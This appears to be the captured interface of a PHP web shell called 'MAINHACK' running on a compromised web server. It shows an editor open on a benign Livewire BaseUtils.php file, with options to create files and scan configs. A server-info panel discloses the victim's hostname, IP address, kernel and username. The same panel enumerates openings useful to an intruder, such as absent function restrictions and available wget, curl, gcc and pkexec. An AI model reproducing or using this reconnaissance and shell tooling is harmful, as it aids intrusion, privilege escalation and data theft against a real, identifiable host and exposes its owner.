[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: BaseUtils.php
<?php namespace Livewire\Drawer; class BaseUtils { static function isSyntheticTuple($payload) { return is_array($payload) && count($payload) === 2 && isset($payload[1]['s']); } static function isAPrimitive($target) { return is_numeric($target) || is_string($target) || is_bool($target) || is_null($target); } static function getPublicPropertiesDefinedOnSubclass($target) { return static::getPublicProperties($target, function ($property) { // Filter out any properties from the first-party Component class... return $property->getDeclaringClass()->getName() !== \Livewire\Component::class; }); } static function getPublicProperties($target, $filter = null) { return collect((new \ReflectionObject($target))->getProperties()) ->filter(function ($property) { return $property->isPublic() && ! $property->isStatic() && $property->isDefault(); }) ->filter($filter ?? fn () => true) ->mapWithKeys(function ($property) use ($target) { // Ensures typed property is initialized in PHP >=7.4, if so, return its value, // if not initialized, return null (as expected in earlier PHP Versions) if (method_exists($property, 'isInitialized') && !$property->isInitialized($target)) { // If a type of `array` is given with no value, let's assume users want // it prefilled with an empty array... $value = (method_exists($property, 'getType') && $property->getType() && method_exists($property->getType(), 'getName') && $property->getType()->getName() === 'array') ? [] : null; } else { $value = $property->getValue($target); } return [$property->getName() => $value]; }) ->all(); } static function getPublicMethodsDefinedBySubClass($target) { $methods = array_filter((new \ReflectionObject($target))->getMethods(), function ($method) { $isInBaseComponentClass = $method->getDeclaringClass()->getName() === \Livewire\Component::class; return $method->isPublic() && ! $method->isStatic() && ! $isInBaseComponentClass; }); return array_map(function ($method) { return $method->getName(); }, $methods); } static function hasAttribute($target, $property, $attributeClass) { $property = static::getProperty($target, $property); foreach ($property->getAttributes() as $attribute) { $instance = $attribute->newInstance(); if ($instance instanceof $attributeClass) return true; } return false; } static function getProperty($target, $property) { return (new \ReflectionObject($target))->getProperty($property); } static function propertyIsTyped($target, $property) { $property = static::getProperty($target, $property); return $property->hasType(); } static function propertyIsTypedAndUninitialized($target, $property) { $property = static::getProperty($target, $property); return $property->hasType() && (! $property->isInitialized($target)); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002